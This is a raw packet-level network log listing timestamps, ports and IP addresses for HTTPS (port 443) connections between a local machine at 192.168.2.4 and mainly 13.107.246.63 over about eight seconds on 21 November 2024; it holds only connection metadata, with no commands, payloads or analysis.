Nov 21, 2024 22:10:51.055327892 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.060378075 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.060586929 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.069180965 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.069211960 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.069226980 CET	49942	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.069233894 CET	443	49942	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.108591080 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.108654022 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.108737946 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.120989084 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.121009111 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.182336092 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.185682058 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.185755014 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.186674118 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.186702013 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.186717033 CET	49944	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.186724901 CET	443	49944	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.210452080 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.210575104 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.210670948 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.210820913 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.210859060 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.246371031 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.249422073 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.249481916 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.249500036 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.249533892 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.249587059 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.308695078 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.308732986 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.308748960 CET	49943	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.308757067 CET	443	49943	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.319791079 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.319895029 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.319972038 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.323416948 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.323457003 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.367893934 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.368338108 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.368374109 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.369095087 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.369102001 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.479015112 CET	49796	443	192.168.2.4	18.165.220.106
Nov 21, 2024 22:10:51.479115009 CET	443	49796	18.165.220.106	192.168.2.4
Nov 21, 2024 22:10:51.789961100 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.791259050 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.791351080 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.791887045 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.791902065 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.810996056 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.814574957 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.814625978 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.814662933 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.814816952 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.814865112 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.814898968 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.814922094 CET	49945	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.814938068 CET	443	49945	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.817441940 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.817497015 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:51.818854094 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.819005013 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:51.819025040 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.245100975 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.248136044 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.248260021 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.248481035 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.248545885 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.248595953 CET	49946	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.248611927 CET	443	49946	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.251116037 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.251228094 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.251306057 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.251447916 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.251471043 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.937195063 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.937776089 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.937849998 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.938237906 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.938252926 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.967463017 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.968044996 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.968080044 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:52.968456984 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:52.968462944 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.191529989 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.191999912 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.192051888 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.192430019 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.192445993 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.381036997 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.381346941 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.381426096 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.381515026 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.381515980 CET	49948	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.381563902 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.381589890 CET	443	49948	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.384072065 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.384196997 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.384310007 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.384444952 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.384478092 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.421400070 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.421792984 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.421853065 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.421900034 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.421921968 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.421932936 CET	49947	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.421938896 CET	443	49947	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.424509048 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.424544096 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.424623013 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.424742937 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.424751043 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.599666119 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.600250006 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.600297928 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.600692034 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.600708008 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.649934053 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.652741909 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.652908087 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.652980089 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.652980089 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.896655083 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.896656036 CET	49949	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.896740913 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.896774054 CET	443	49949	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.953726053 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.953836918 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:53.954155922 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.954276085 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:53.954308033 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.035762072 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.038758993 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.038825035 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.039124012 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.039139032 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.043644905 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.046747923 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.046817064 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.046909094 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.046909094 CET	49950	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.046960115 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.046993017 CET	443	49950	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.050797939 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.050842047 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.050899029 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.051021099 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.051034927 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.482522964 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.485770941 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.485949993 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.485949993 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.485949993 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.489032984 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.489131927 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.489221096 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.489342928 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.489378929 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:54.791596889 CET	49951	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:54.791652918 CET	443	49951	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.145999908 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.146599054 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.146617889 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.147147894 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.147156954 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.237103939 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.237668037 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.237752914 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.238096952 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.238112926 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.591785908 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.592458010 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.592518091 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.592529058 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.592540979 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.592590094 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.592628002 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.592638969 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.592649937 CET	49953	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.592654943 CET	443	49953	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.595479012 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.595515966 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.595617056 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.595786095 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.595798016 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.690557003 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.695456982 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.695559025 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.695647955 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.695647955 CET	49952	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.695698977 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.695732117 CET	443	49952	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.698934078 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.699032068 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.699151039 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.699280977 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.699335098 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.756984949 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.757853031 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.757888079 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.758446932 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.758461952 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.858901978 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.859380960 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.859402895 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:55.860023975 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:55.860033989 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.205879927 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.208561897 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.208686113 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.208787918 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.208787918 CET	49954	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.208837986 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.208872080 CET	443	49954	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.211209059 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.211263895 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.211343050 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.211474895 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.211483955 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.323211908 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.326401949 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.326463938 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.326536894 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.326561928 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.326575994 CET	49955	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.326582909 CET	443	49955	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.329567909 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.329674006 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.329761028 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.329912901 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.329948902 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.391634941 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.394435883 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.394504070 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.394896030 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.394910097 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.847928047 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.850918055 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.851003885 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.851099968 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.851099968 CET	49956	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.851147890 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.851176023 CET	443	49956	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.853713036 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.853760004 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:56.853847027 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.854100943 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:56.854115009 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.311161041 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.311950922 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.311980963 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.312580109 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.312587976 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.419053078 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.423656940 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.423749924 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.424134016 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.424148083 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.746745110 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.750235081 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.750308037 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.750325918 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.750366926 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.750427008 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.750451088 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.750462055 CET	49957	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.750468016 CET	443	49957	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.755033970 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.755145073 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.755238056 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.755390882 CET	49962	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.755422115 CET	443	49962	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.853044033 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.856010914 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.856075048 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.856120110 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.856139898 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.856153011 CET	49958	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.856157064 CET	443	49958	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.858803988 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.858855009 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.858937025 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.859095097 CET	49963	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.859108925 CET	443	49963	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.919127941 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.923326969 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.923356056 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:57.923721075 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:57.923727989 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.065604925 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.066313982 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.066349983 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.066759109 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.066766977 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.362454891 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.365552902 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.365639925 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.365732908 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.365734100 CET	49960	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.365784883 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.365825891 CET	443	49960	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.368439913 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.368540049 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.368774891 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.368885994 CET	49964	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.368911982 CET	443	49964	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.519526958 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.522919893 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.523015976 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.523081064 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.523103952 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.523116112 CET	49959	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.523123026 CET	443	49959	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.526335001 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.526412010 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.526511908 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.526691914 CET	49965	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.526722908 CET	443	49965	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.589684010 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.590387106 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.590415955 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:58.590866089 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:58.590872049 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.026074886 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.029202938 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.029273033 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.029298067 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.029335022 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.029392958 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.029411077 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.029458046 CET	49961	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.029464006 CET	443	49961	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.031941891 CET	49966	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.032002926 CET	443	49966	13.107.246.63	192.168.2.4
Nov 21, 2024 22:10:59.032104015 CET	49966	443	192.168.2.4	13.107.246.63
Nov 21, 2024 22:10:59.032252073 CET	49966	443	192.168.2.4	13.107.246.63
